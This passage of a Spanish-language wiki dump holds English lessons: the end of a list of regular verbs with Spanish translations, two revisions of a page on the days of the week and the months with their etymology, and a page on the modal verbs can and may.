*'''shop:''' ir de compras
*'''show:''' mostrar, presentar
*'''shut:''' cerrar
*'''sin:''' pecar
*'''slip:''' resbalar
*'''smile:''' sonreír
*'''smoke:''' fumar, humear
*'''sneeze:''' estornudar
*'''sound:''' sonar, tocar, pulsar
*'''spoil:''' estropear, despojar, mimar
*'''start:''' iniciar, empezar a moverse
*'''stay:''' quedarse, pararse
*'''stop:''' detener, parar
*'''study:''' estudiar
*'''suceed:''' suceder, tiunfar, salir a delante
*'''suffer:''' sufrir
*'''supply:''' suplir, suministrar
*'''switch:''' conmutar (la luz)
*'''talk:''' hablar
*'''taste:''' gustar, probar
*'''thank:''' agradecer
*'''threaten:''' amenazar
*'''tie:''' atar, anudar
*'''toast:''' brindar, tostar
*'''touch:''' tocar
*'''trade:''' comerciar, negociar
*'''translate:''' traducir
*'''travel:''' viajar, navegar
*'''trust:''' confiar, dar crédito
*'''turn:''' volver, convertir
*'''use:''' usar, emplear
*'''visit:''' visitar, ir a ver
*'''wait:''' esperar, aguardar
*'''walk:''' andar, caminar, pasearse
*'''want:''' necesitar, carecer de 
*'''warn:''' avisar, prevenir
*'''wash:''' lavar, bañar
*'''waste:''' malgastar, derrochar
*'''watch:''' velar, vigilar
*'''weigh:''' pesar, examinar
*'''wet:''' mojar
*'''whistle:''' silbar
*'''wish:''' desear, querer
*'''work:''' trabajar
*'''worry:''' acosar, molestar, inquietarse

===Otros verbos regulares===

*'''abandon:''' abandonar
*'''abbreviate:''' abreviar
*'''absorb:''' absorber
*'''abuse:''' abusar
*'''accompany:''' acompañar
*'''accomplish:''' efectuar, llevar a cabo
*'''accord:''' conceder
*'''account:''' considerar
*'''accuse:''' acusar
*'''acknowledge:'''reconocer
*'''acquire:''' adquirir
*'''adjoin:''' juntar, unir, lindar
*'''advance:''' avanzar
*'''affirm:''' afirmar
*'''affix:''' fijar, pegar
*'''afford:''' poder soportar
*'''agitate:''' agitar
*'''aid:''' ayudar
*'''allot:''' repartir, distribuir
*'''amass:''' acumular
*'''amaze:''' asombrar
*'''amend:''' reformarse, corregirse
*'''amount:''' importar (un precio)
*'''anger:''' enfandar, enfurecer
*'''announce:''' anunciar
*'''annoy:''' molestar, enojar
*'''appeal:'''  llamar, apelar
*'''apply:''' aplicar, acomodar
*'''appoint:''' señalar, asignar
*'''appreciate:''' apreciar
*'''approach:''' acercarse, aproximarse
*'''approve:''' aprobar, consentir
*'''argue:''' discutir, alegar
*'''arouse:''' despertar, mover
*'''assail:''' asaltar, acometer
*'''assure:''' asegurar, afirmar
*'''attach:''' pegar, juntar
*'''attain:''' alcanzar
*'''attemp:''' intentar
*'''authorize:''' autorizar
*'''avoid:''' evitar, salvar
*'''await:''' aguardar
*'''beam:''' destellar, fulgurar
*'''beautify:''' hermosear(se)
*'''befool:''' engañar, burlarse
*'''beg:''' mendigar, rogar
*'''beseech:''' suplicar, rogar
*'''bet:''' apostar
*'''betray:''' traicionar
*'''blast:''' marchitar, secar, volar
*'''bless:''' bendecir
*'''blind:''' cegar, deslumbrar
*'''bloom:''' florecer
*'''blossom:''' florecer
*'''breakfast:''' desayunar
*'''bury:''' enterrar
*'''care:''' cuidar
*'''caress:''' acariciar
*'''cause:''' causar
*'''certify:''' atestiguar
*'''charge:''' cargar
*'''charm:''' embelesar, encantar
*'''chase:''' perseguir
*'''chew:''' masticar
*'''claim:''' reclamar, demandar
*'''close:''' cerrar
*'''coil:''' enrollar
*'''comb:''' peinar
*'''commence:''' comenzar
*'''compel:''' obligar, apremiar
*'''compound:''' componer, arreglar
*'''conceal:''' esconder, desmentir
*'''connect:''' conectar 
*'''contend:''' disputar
*'''content:''' contentar, satisfacer
*'''contrive:''' inventar, imaginar
*'''corn:''' curar, sanar
*'''covet:''' codiciar, apetecer
*'''crash:''' fracasar, romper, estallar
*'''crush:''' aplastar
*'''curl:''' rizar
*'''damage:''' dañar
*'''damn:''' condenar
*'''dare:''' atreverse, osar, desafiar, provocar
*'''dash:''' arrojar, rociar
*'''dawn:''' amanecer
*'''deafen:''' ensordecer
*'''debit:''' cargar, adeudar
*'''decease:''' morir, fallecer
*'''deepen:''' profundizar
*'''defer:''' diferir
*'''deflect:''' desviar
*'''delight:''' deleitar, agradar
*'''deliver:''' entregar
*'''desire:''' desear
*'''destroy:''' destruir
*'''detach:''' destacar, despegar
*'''detain:''' detener
*'''detest:''' odiar
*'''dice:''' jugar a los dados
*'''disguise:''' disfrazar
*'''distress:''' angustiar, afligir
*'''disturb:''' disturbar, molestar
*'''doubt:''' dudar
*'''drag:''' arrastrar
*'''drizzle:''' lloviznar
*'''elope:''' fugarse, escaparse (con un amante)
*'''embrace:''' abrazar
*'''embroider:''' bordar
*'''encourage:''' animar
*'''end:''' acabar
*'''enervate:''' enervar
*'''engage:''' comprometer
*'''enter:''' entrar, ingresar
*'''enterprise:''' emprender
*'''envelop:''' envolver, cubrir
*'''erase:''' borrar
*'''expel:''' arrojar, despedir
*'''expend:''' expender, emplear
*'''fill:''' llenar, henchir
*'''fire:''' encender, disparar
*'''flatter:''' adular, halagar
*'''free:''' libertar
*'''furnish:''' surtir, proveer
*'''gain:''' ganar
*'''gaze:''' contemplar, encandilarse
*'''glance:''' mirar de soslayo
*'''glare:''' mirar con ojos penetrantes
*'''glue:''' encolar, pegar
*'''grasp:''' agarrar
*'''groan:''' gemir, suspirar
*'''grope:''' andar a tientas, palpar
*'''hail:''' aclamar, vivar
*'''halt:''' mandar hacer alto
*'''hand:''' dar, alargar (a la mano)
*'''harm:''' dañar, agraviar
*'''hash:''' picar, desmenuzar
*'''hearten:''' animar, alentar
*'''hint:''' apuntar, sugerir
*'''hunt:''' cazar
*'''idle:''' haraganear
*'''issue:''' editar, lanzar
*'''joint:''' reunir, agregar
*'''kick:''' patear, dar coces
*'''kidnap:''' secuestrar
*'''knoll:''' doblar las campanas
*'''knot:''' anudar, enmarañar
*'''label:''' clasificar, rotular
*'''lack:''' carecer
*'''lash:''' azotar
*'''lengthen:''' alargar, extender
*'''lighten:''' iluminar, alumbrar, aliviar
*'''limp:''' cojear
*'''loose:''' desatar, desprender
*'''lynch:''' linchar
*'''match:''' igualar, emparejar
*'''mesh:''' enredar, tomar con red
*'''mill:''' moler
*'''miscall:''' difamar
*'''miss:''' perder (el tren, etc.), echar de menos 
*'''mist:''' empañar
*'''moan:''' lamentar
*'''moisten:''' humedecer
*'''mope:''' dormitar, estar pensativo
*'''mother:''' prohijar, adoptar hijos pequeños
*'''motion:''' hacer señas (moviendose)
*'''mutter:''' murmurar, rezongar
*'''nod:''' cabecear, inclinar la cabeza (asintiendo)
*'''oppose:''' oponer, resistir
*'''parcel:''' partir, dividir
*'''perform:''' ejecutar, poner por obra
*'''pet:''' mimar
*'''pierce:''' penetrar, acribillar
*'''plunge:''' zambullirse
*'''praise:''' celebrar, alabar
*'''present:''' regalar, presentar
*'''press:''' prensar, apremiar
*'''pride:''' jactarse, enorgullecerse
*'''prize:''' apreciar, estimar
*'''proceed:''' proceder, proseguir
*'''puzzle:''' embrollar, enredar, confundir
*'''quarrel:''' reñir, disputar
*'''quicken:''' vivificar, acelerar
*'''raise:''' levantar, alzar
*'''rate:''' tasar, fijar precio
*'''ravish:''' atraer, seducir
*'''reap:''' cosechar
*'''record:''' registrar, inscribir, fijar en la memoria
*'''recover:''' recuperar, rescatar
*'''recruit:''' reclutar, alistar
*'''rejoice:''' regocijar, alegrar
*'''release:''' soltar, desprender
*'''relieve:''' socorrer, redimir
*'''relish:''' saborear, paladear
*'''remark:''' observar, advertir
*'''request:''' rogar, suplicar
*'''rescue:''' librar, rescatar
*'''research:''' investigar
*'''scatter:''' esparcir, derramar
*'''search:''' buscar
*'''season:''' sazonar, condimentar
*'''seat:''' asentar, establecer
*'''seed:''' sementar, granar
*'''shame:''' avergonzar
*'''shape:''' modelar, dar forma
*'''share:''' distribuir, repartir, compartir
*'''shatter:''' romperse, destrozar
*'''shiver:''' tiritar, tener escalofríos
*'''shock:''' chocar, conmocionar
*'''sicken:''' enfermar, dar asco
*'''sigh:''' suspirar
*'''sight:''' divisar, avistar a lo lejos
*'''skate:''' patinar
*'''sketch:''' abocetar, diseñar
*'''slake:''' extinguir, apagar, moderar
*'''smack:''' hacer ruido chupando, chasquear un beso
*'''smash:''' aplastar
*'''smooth:''' alisar, pulir
*'''snore:''' roncar
*'''soak:''' remojar, empapar
*'''soap:''' enjabonar
*'''soften:''' ablandar, suavizar
*'''soil:''' ensuciar, manchar
*'''sorrow:''' afligirse, entristecerse
*'''span:''' medir a palmos, extenderse sobre
*'''splash:''' salpicar, enlodar, rociar
*'''squat:''' agazaparse, ocupar un lugar sin derecho
*'''stain:''' manchar
*'''steady:''' sostener, fijar, afirmar
*'''step:''' andar (paso a paso)
*'''stoop:''' agacharse
*'''store:''' surtir, proveer, amontonar
*'''stray:''' descarriarse, desviarse del deber
*'''stream:''' correr, manar, fluir
*'''strengthen:''' fortalecer, confortar
*'''strecht:''' extender
*'''struggle:''' luchar, bregar
*'''stumble:''' tropezar
*'''subdue:''' sojuzgar, subyugar
*'''submit:''' someterse, rendirse
*'''surrender:''' entregarse, renunciar, rendirse
*'''swab:''' fregar, limpiar
*'''swallow:''' tragar, engullir
*'''tame:''' domar, amansar 
*'''tap:''' golpear ligeramente
*'''test:''' expirementar, poner a prueba
*'''thieve:''' robar, hurtar
*'''thread:''' enhebrar, ensartar
*'''thrill:''' emocionar
*'''thunder:''' tronar
*'''tire:''' cansar
*'''trail:''' seguir el rastro
*'''treat:''' tratar, convidar
*'''tremble:''' temblar
*'''trick:''' engañar
*'''trim:''' componer, ataviar
*'''trip:''' tropezar, echar la zancadilla
*'''try:''' ensayar, probar
*'''twist:''' torcer, trenzar
*'''unbolt:''' descerrojar
*'''underline:''' subrayar
*'''unfasten:''' desatar, soltar
*'''unite:''' unir, concordar
*'''value:'''' valuar, tasar
*'''vanish:''' desvanecerse, desaparecer
*'''vary:''' cambiar, mudar
*'''verify:''' verificar, comprobar
*'''vex:''' vejar, molestar, inquietar
*'''view:''' mirar, ver, examinar
*'''void:''' anular, vaciar, viciar
*'''wabble:''' balancearse, oscilar
*'''wander:''' vagar, errar
*'''water:''' regar, humedecer
*'''wax:''' encerar
*'''weaken:''' debilitar
*'''wed:''' desposar, casar, contraer matrimonio
*'''wheel:''' hacer rodar, rodar
*'''whisper:''' susurrar, cuchichear
*'''wonder:''' desear sabér, extrañar, maravillarse
*'''wound:''' herir, lastimar, ofender
*'''wrangle:''' reñir, disputar
*'''wrinkle:''' arrugar
*'''yawn:''' bostezar, anhelar
*'''yearn:''' ambicionar, suspirar por
*'''yell:''' vociferar, decir a gritos
*'''yoke:''' unir, sojuzgar, apadrinar


==== Video externo para facilitar el aprendizaje ====

[http://www.youtube.com/watch?v=x_3ijQGMWPI PRONUNCIACION DE VERBOS REGULARES -- Pronunciation of Regular Verbs ]


{{AutoCat}}</text>
      <sha1>h3dnwr0jadgbilvdyz2jlhaserxhme3</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Sobre los días y los meses</title>
    <ns>0</ns>
    <id>12360</id>
    <revision>
      <id>429855</id>
      <parentid>378079</parentid>
      <timestamp>2026-08-01T22:05:25Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429855</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6207" sha1="ifkfi3sgwdjvmnwomlzgjfw91opgary" xml:space="preserve"> '''Días de la Semana y los Meses'''

=== Días de la Semana ===
{| class=&quot;wikitable&quot;
|-
! No. !!Inglés!! Español
|-
| 1 || MONDAY || Lunes
|-
| 2 || TUESDAY || Martes
|-
| 3 || WEDNESDAY || Miércoles
|-
| 4 || THURSDAY|| Jueves
|-
| 5 || FRIDAY || Viernes
|-
| 6 || SATURDAY  || Sábado
|-
| 7 || SUNDAY || Domingo
|}

=== Meses del Año ===
{| class=&quot;wikitable&quot;
|-
! No. !! Inglés !! Español
|-
| 1|| JANUARY || ENERO
|-
| 2|| FEBRUARY || FEBRERO
|-
| 3|| MARCH|| MARZO
|-
| 4|| APRIL || ABRIL
|-
| 5|| MAY || MAYO
|-
| 6|| JUNE|| JUNIO
|-
| 7|| JULY|| JULIO
|-
| 8|| AUGUST|| AGOSTO
|-
| 9|| SEPTEMBER || SEPTIEMBRE
|-
| 10|| OCTOBER|| OCTUBRE
|-
| 11|| NOVEMBER|| NOVIEMBRE
|-
| 12|| DECEMBER|| DICIEMBRE
|}

===Sobre los días y los meses===

*En inglés, tanto el nombre de los días de la semana como los nombres de los meses del año se escriben siempre con mayúsculas. Tienen trato de ''nombres propios''.

*Al usar el nombre de los días de la semana recuerde que no anteponen el artículo determinado, sino la preposición '''on'''.

*'''They came on Saturday'''.
*(Ellos vinieron el sábado.)

*'''I shall go to the cinema on Sunday'''.
*(Iré al cine el domingo.)

*En cuanto a los meses y en general todas las medidas de tiempo (día, semana, mes, año, etc.) usan la preposición '''in''', como hacemos en español:

*'''I shall come here in April'''.
*(Vendré aquí en abril.) 

*'''In the year 1870...
*(En el año 1870...)

*Y para terminar en inglés no se dispone de las formas ''anteayer'' ni ''pasado mañana''.

*Pasado mañana es '''the day after tomorrow'''.
*Anteayer es '''the day before yesterday'''.&lt;br /&gt;

==='''Diálogos o frases con estas palabras:'''===
- '''What do you do on sunday?''' (¿Qué haces los domingos?)&lt;br /&gt;
- '''This tuesday is my birthday!''' (¡Este martes es mi cumpleaños!)&lt;br /&gt;
- '''I love Fridays!''' (¡Me encantan los viernes!)&lt;br /&gt;
- '''Friday is my favorite day!''' (¡El viernes es mi día favorito!)&lt;br /&gt;
- '''What´s your month´s birthday?''' (¿Cuál es el mes de tu cumpleaños?)&lt;br /&gt;
- '''It´s June.''' (Es Junio)&lt;br /&gt;

==='''REGLAS DE ESCRITURA'''===

1. La primera letra de todos los días de la semana en inglés se escribe siempre con mayúscula.

2. Todos los días de la semana en inglés acaban con la terminación -day, que quiere decir &quot;día&quot;. (En español la terminación -es, como en lunes, es una abreviación de la palabra latina dies, que quiere decir &quot;días&quot;).


==='''TRUCOS Y EJERCICIOS''' &lt;ref&gt;[http://ingles.about.com/ http://ingles.about.com/od/vocabulary/a/Dias-De-La-Semana-En-Ingles.htm]&lt;/ref&gt;===

'''Canción:''' Friday I'm in love de The Cure te ayudará a aprender los días de la semana en inglés.

¿Tuesday o Thursday?: Recuerda que el segundo día de la semana laboral es el Tuesday. &quot;tue&quot; suena como el número &quot;two&quot;, dos.

Juega al Memory: (2+ jugadores) Recorta una hoja de papel en 14 partes iguales y escribe uno de los días de la semana en cada papel hasta que hayas escrito todos los días en inglés y en español.

Ponlos boca abajo sobre la mesa e intenta conseguir tantos pares como te sea posible.

=== '''HISTORIA DE LOS DÍAS DE LA SEMANA''' &lt;ref&gt;KLEIN, Ernest; A Comprehensive Etymological Dictionary of the English Language.&lt;/ref&gt;&lt;ref&gt; BUITRAGO, A./ TORIJANO, J.; Diccionario del origen de las palabras, Ed. Espasa Calpe.&lt;/ref&gt;===
Los días de la semana en gran parte de las lenguas europeas se basan en los siete cuerpos celestes visibles al alba según la astrología helenística. Estos cuerpos toman los nombres de varios dioses griegos, cada día de la semana fue nombrado en honor a un dios. El origen griego en los nombres de los días de la semana no se refleja actualmente en lenguas neolatinas como el español porque los romanos los rebautizaron con el nombre de aquellos de sus dioses que se correspondían con los de los griegos. Por ejemplo, el 'martes' en latín era el Martis dies en honor a Marte, el dios romano de la guerra. El nombre de este día es la versión latina del originariamente denominado 'día de Ares', siendo Ares el dios de la guerra para los griegos. Ahora surge la pregunta inevitable: ¿Tuesday de dónde sale? Pues 'Tues' viene de Tiw, un antiguo dios de la guerra germánico que se identifica con el dios romano Marte. Parte de los nombres de los días de la semana en inglés provienen de dioses germánicos que se identifican con dioses romanos.&lt;br /&gt;
'''Sunday'''- Día dedicado al astro rey. Sun significa 'sol' y day significa 'día', así que Sunday quiere decir &quot;día del sol&quot; o en inglés day of the sun. Viene del latín Solis dies.
Domingo- Una vez instituido el cristianismo como lengua del Imperio romano el emperador Constantino hizo del domingo un día sagrado (en el judaísmo el sábado). Lo llamó dominicus dies o &quot;día del señor&quot; (dominus).&lt;br /&gt;
'''Monday'''- Dedicado a la luna. Moon significa &quot;luna&quot; en inglés y ambos vienen del latín lunae dies.
Lunes- Día de la luna.&lt;br /&gt;
'''Tuesday'''- Dedicado a Tiw, el dios Germánico de la guerra, se identifica con Marte, el dios romano.
Martes- Dedicado a Marte, el dios romano de la guerra.

'''Wednesday'''- Dedicado al dios germánico Woden o Odín, el padre de Thor. Se identifica con el dios romano Mercurio, que a su vez se identifica con el dios griego Hermes.
Miércoles- Dedicado a dios romano Mercurio, el mensajero de los dioses.&lt;br /&gt;

'''Thursday'''- Dedicado a Thor, dios germánico del trueno. Se identifica con el dios romano Júpiter, quien a su vez se identifica con el dios griego Zeus.
Jueves- Día del dios romano Júpiter, rey de los dioses&lt;br /&gt;.
'''Friday'''- Día de la diosa germánica Frigg, la esposa de Odin. Se identifica con la diosa romana Venus, quien a su vez se identifica con la griega Afrodita.
Viernes- Día de Venus, diosa romana de la belleza y el amor.&lt;br /&gt;

'''Saturday'''- Día de Saturno, el dios romano del tiempo. Se identifica con el dios griego Cronos.
'''Sábado'''- El sábado es el día sagrado del judaísmo y toma su nombre de la palabra Sabbath, que significa &quot;descanso semanal&quot;. Es el séptimo día de la semana litúrgica, que comienza en domingo.


Fuentes:

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>ifkfi3sgwdjvmnwomlzgjfw91opgary</sha1>
    </revision>
    <revision>
      <id>429916</id>
      <parentid>429855</parentid>
      <timestamp>2026-08-01T22:09:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429916</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6167" sha1="73ek4yxk0iaminyqv2c0g126xia80gv" xml:space="preserve"> '''Días de la Semana y los Meses'''

=== Días de la Semana ===
{| class=&quot;wikitable&quot;
|-
! No. !!Inglés!! Español
|-
| 1 || MONDAY || Lunes
|-
| 2 || TUESDAY || Martes
|-
| 3 || WEDNESDAY || Miércoles
|-
| 4 || THURSDAY|| Jueves
|-
| 5 || FRIDAY || Viernes
|-
| 6 || SATURDAY  || Sábado
|-
| 7 || SUNDAY || Domingo
|}

=== Meses del Año ===
{| class=&quot;wikitable&quot;
|-
! No. !! Inglés !! Español
|-
| 1|| JANUARY || ENERO
|-
| 2|| FEBRUARY || FEBRERO
|-
| 3|| MARCH|| MARZO
|-
| 4|| APRIL || ABRIL
|-
| 5|| MAY || MAYO
|-
| 6|| JUNE|| JUNIO
|-
| 7|| JULY|| JULIO
|-
| 8|| AUGUST|| AGOSTO
|-
| 9|| SEPTEMBER || SEPTIEMBRE
|-
| 10|| OCTOBER|| OCTUBRE
|-
| 11|| NOVEMBER|| NOVIEMBRE
|-
| 12|| DECEMBER|| DICIEMBRE
|}

===Sobre los días y los meses===

*En inglés, tanto el nombre de los días de la semana como los nombres de los meses del año se escriben siempre con mayúsculas. Tienen trato de ''nombres propios''.

*Al usar el nombre de los días de la semana recuerde que no anteponen el artículo determinado, sino la preposición '''on'''.

*'''They came on Saturday'''.
*(Ellos vinieron el sábado.)

*'''I shall go to the cinema on Sunday'''.
*(Iré al cine el domingo.)

*En cuanto a los meses y en general todas las medidas de tiempo (día, semana, mes, año, etc.) usan la preposición '''in''', como hacemos en español:

*'''I shall come here in April'''.
*(Vendré aquí en abril.) 

*'''In the year 1870...
*(En el año 1870...)

*Y para terminar en inglés no se dispone de las formas ''anteayer'' ni ''pasado mañana''.

*Pasado mañana es '''the day after tomorrow'''.
*Anteayer es '''the day before yesterday'''.&lt;br /&gt;

==='''Diálogos o frases con estas palabras:'''===
- '''What do you do on sunday?''' (¿Qué haces los domingos?)&lt;br /&gt;
- '''This tuesday is my birthday!''' (¡Este martes es mi cumpleaños!)&lt;br /&gt;
- '''I love Fridays!''' (¡Me encantan los viernes!)&lt;br /&gt;
- '''Friday is my favorite day!''' (¡El viernes es mi día favorito!)&lt;br /&gt;
- '''What´s your month´s birthday?''' (¿Cuál es el mes de tu cumpleaños?)&lt;br /&gt;
- '''It´s June.''' (Es Junio)&lt;br /&gt;

==='''REGLAS DE ESCRITURA'''===

1. La primera letra de todos los días de la semana en inglés se escribe siempre con mayúscula.

2. Todos los días de la semana en inglés acaban con la terminación -day, que quiere decir &quot;día&quot;. (En español la terminación -es, como en lunes, es una abreviación de la palabra latina dies, que quiere decir &quot;días&quot;).


==='''TRUCOS Y EJERCICIOS''' &lt;ref&gt;[http://ingles.about.com/ http://ingles.about.com/od/vocabulary/a/Dias-De-La-Semana-En-Ingles.htm]&lt;/ref&gt;===

'''Canción:''' Friday I'm in love de The Cure te ayudará a aprender los días de la semana en inglés.

¿Tuesday o Thursday?: Recuerda que el segundo día de la semana laboral es el Tuesday. &quot;tue&quot; suena como el número &quot;two&quot;, dos.

Juega al Memory: (2+ jugadores) Recorta una hoja de papel en 14 partes iguales y escribe uno de los días de la semana en cada papel hasta que hayas escrito todos los días en inglés y en español.

Ponlos boca abajo sobre la mesa e intenta conseguir tantos pares como te sea posible.

=== '''HISTORIA DE LOS DÍAS DE LA SEMANA''' &lt;ref&gt;KLEIN, Ernest; A Comprehensive Etymological Dictionary of the English Language.&lt;/ref&gt;&lt;ref&gt; BUITRAGO, A./ TORIJANO, J.; Diccionario del origen de las palabras, Ed. Espasa Calpe.&lt;/ref&gt;===
Los días de la semana en gran parte de las lenguas europeas se basan en los siete cuerpos celestes visibles al alba según la astrología helenística. Estos cuerpos toman los nombres de varios dioses griegos, cada día de la semana fue nombrado en honor a un dios. El origen griego en los nombres de los días de la semana no se refleja actualmente en lenguas neolatinas como el español porque los romanos los rebautizaron con el nombre de aquellos de sus dioses que se correspondían con los de los griegos. Por ejemplo, el 'martes' en latín era el Martis dies en honor a Marte, el dios romano de la guerra. El nombre de este día es la versión latina del originariamente denominado 'día de Ares', siendo Ares el dios de la guerra para los griegos. Ahora surge la pregunta inevitable: ¿Tuesday de dónde sale? Pues 'Tues' viene de Tiw, un antiguo dios de la guerra germánico que se identifica con el dios romano Marte. Parte de los nombres de los días de la semana en inglés provienen de dioses germánicos que se identifican con dioses romanos.&lt;br /&gt;
'''Sunday'''- Día dedicado al astro rey. Sun significa 'sol' y day significa 'día', así que Sunday quiere decir &quot;día del sol&quot; o en inglés day of the sun. Viene del latín Solis dies.
Domingo- Una vez instituido el cristianismo como lengua del Imperio romano el emperador Constantino hizo del domingo un día sagrado (en el judaísmo el sábado). Lo llamó dominicus dies o &quot;día del señor&quot; (dominus).&lt;br /&gt;
'''Monday'''- Dedicado a la luna. Moon significa &quot;luna&quot; en inglés y ambos vienen del latín lunae dies.
Lunes- Día de la luna.&lt;br /&gt;
'''Tuesday'''- Dedicado a Tiw, el dios Germánico de la guerra, se identifica con Marte, el dios romano.
Martes- Dedicado a Marte, el dios romano de la guerra.

'''Wednesday'''- Dedicado al dios germánico Woden o Odín, el padre de Thor. Se identifica con el dios romano Mercurio, que a su vez se identifica con el dios griego Hermes.
Miércoles- Dedicado a dios romano Mercurio, el mensajero de los dioses.&lt;br /&gt;

'''Thursday'''- Dedicado a Thor, dios germánico del trueno. Se identifica con el dios romano Júpiter, quien a su vez se identifica con el dios griego Zeus.
Jueves- Día del dios romano Júpiter, rey de los dioses&lt;br /&gt;.
'''Friday'''- Día de la diosa germánica Frigg, la esposa de Odin. Se identifica con la diosa romana Venus, quien a su vez se identifica con la griega Afrodita.
Viernes- Día de Venus, diosa romana de la belleza y el amor.&lt;br /&gt;

'''Saturday'''- Día de Saturno, el dios romano del tiempo. Se identifica con el dios griego Cronos.
'''Sábado'''- El sábado es el día sagrado del judaísmo y toma su nombre de la palabra Sabbath, que significa &quot;descanso semanal&quot;. Es el séptimo día de la semana litúrgica, que comienza en domingo.


Fuentes:

{{AutoCat}}</text>
      <sha1>73ek4yxk0iaminyqv2c0g126xia80gv</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Verbos defectivos</title>
    <ns>0</ns>
    <id>12361</id>
    <revision>
      <id>429815</id>
      <parentid>408612</parentid>
      <timestamp>2026-08-01T22:01:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429815</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4847" sha1="72jnwkshm06qdz554qqqxxbyh4i5zmo" xml:space="preserve">===Verbos defectivos===
*'''Can''' equivale a un ''poder'' material, una posibilidad de hacer relacionada con cosas materiales, hechos o acciones físicamente realizables.

*'''Can''' expresa la idea de ''poder'' cuando ésta indica la ''posibilidad de hacer algo''. Dicho de otra manera: Esa posibilidad de hacer algo implica '''capacidad'''; por tanto, '''can''' expresa poder en su sentido de capacidad.

*Carece de infinitivo y sólo tiene dos formas:

*'''CAN''' para el presente
*'''COULD''' para el pretérito

CAN también puede ser aplicada de otras maneras, por ejemplo:

*a) I can write in English  (Habilidad)
*b) It can rain             (Posibilidad)
*c) Can you help me?        (Pedido)
*d) You can write in pencil (Permiso)
*e) You can't smoke here    (Prohibicion)


*'''Can not''' es la forma negativa del '''can''', o sea el ''no poder hacer tal o cual cosa''.

*En relación con este verbo debe tener presente lo que sigue:

*1º) Como carece de infinitivo no puede ir nunca precedido por la particula '''to'''.
*2º) No añade '''s''' a la tercera persona del singular del presente de indicativo.
*3º) No se puede usar en la forma continua o progresiva ('''ing''').
*4º) No requiere el auxilio de ''do'' en las formas interrogativas o negativas.


*''Presente:''
*'''I CAN''' (Yo puedo)

*''Futuro:''
*'''I SHALL BE ABLE''' (Yo podré (seré capaz))

*''Pasado:''
*'''I COULD''' (Yo pude, podía)


*'''TO BE ABLE TO'''

*Este verbo defectivo se utiliza en el sentido de ''poder hacer'' fisíco.

*Este verbo '''can''' carece de futuro. De acuerdo con la mentalidad inglesa, uno '''puede''' hacer '''ahora''' lo que quiera. Pero, en cuanto hablamos del futuro, la cosa es dudosa; carecemos de la '''seguridad''' indispensable para poder afirmar que '''podremos'''.

*Y entra en funciones el adjetivo '''able''' (capaz) junto con el verbo '''to be''' (ser), para formar '''To be able to''' (Ser capaz de), con lo cual tenemos, podría decirse, la fórmula para el futuro para aquellos casos en que para el presente utilizamos '''can'''.

*Ejemplos:

*PRESENTE
*'''Yes, I can touch it now''' (Sí, puedo tocarlo ahora)

*FUTURO
*'''Yes, I shall be able to touch it then''' (Sí, podré tocarlo entonces)


*'''El verbo defectivo MAY'''

*Suponga una moneda: '''Can''' es la ''cara'', ese '''poder''' material, esa capacidad de hacer física o intelectual condicionada a lo material. '''May''' es la ''cruz'', es un '''poder''' en el sentido de posibilidad, de permiso ..., un ''poder'' que depende no de nuestra fuerza o de nuestra capacidad de hacer, sino de la ''autorización'' de otro e incluso propia, según las circunstancias.

*Ese verbo '''may''' -fíjese bien que no anteponemos ese '''to''' famoso, necesario a todos los infinitivos, precisamente porque '''may''' carece de infinitivo- sólo tiene dos formas:

*'''MAY''' para el presente
*'''MIGHT''' para el pretérito

*En relación con '''may''' y cualquier otro verbo defectivo conviene tenga presentes las siguientes observaciones:

*a) Carece de infinitivo. En ningún caso lleva la partícula '''to'''.

*b) No añade '''s''' a la tercera persona del singular del presente de indicativo.

*c) No utiliza '''do''' en sus formas interrogativa o negativa.


*Al igual que su ''compañero'' '''can''', '''may''' ha de preceder a un verbo principal en infintivo, pero sin la partícula '''to''', para tener sentido como auxiliar y expresar así la idea de ''permiso'' 

*'''May I go, now?''' (¿Puedo irme, ahora?)
*'''Yes, you may go''' (Sí, puedes irte)
*'''He said that I might go in''' (Dijo que podría entrar)

*Pero, además, esa forma '''may-might''' podemos utilizarla también para otros dos usos, Por ejemplo, para expresar ''posibilidad'':

*'''He may come tomorrow''' (Puede que venga mañana)
*'''He said that he might come tomorrow''' (Dijo que podría venir mañana)


*Por lo que respecta a la forma en pretérito '''might''', podemos emplearla para expresar la idea de ''posibilidad remota'', como en

*'''He might come tomorrow''' (Es posible -pero poco probable- que venga mañana)


*Diferencia fundamental entre '''can''' y '''may''' cuando se trata de expresar la idea de ''posibilidad'' :

*Capacidad
*'''He can come tomorrow'''  (Él puede venir mañana)
*Posibilidad
*'''He may come tomorrow''' (Puede que él venga mañana)

*Con este último ejemplo también podemos expresar ''permiso'' en cuyo caso la traducción sería: Él puede venir mañana.

*En el lenguaje corriente, entre conocidos, los ingleses casi prescinden de esa forma verbal '''may''' en su sentido de ''poder'' (condicionado), de ''permiso''... y usan '''can''' en su lugar dejando el '''may''' para cuando se las dan de personas educadas.

*'''Can I come in, Sir?
*'''You can come in, but you MAY not come in!


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>72jnwkshm06qdz554qqqxxbyh4i5zmo</sha1>
    </revision>
    <revision>
      <id>429921</id>
      <parentid>429815</parentid>
      <timestamp>2026-08-01T22:09:16Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429921</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4807" sha1="kz7tc7q8t1lwm863k26z3vudeqmah84" xml:space="preserve">===Verbos defectivos===
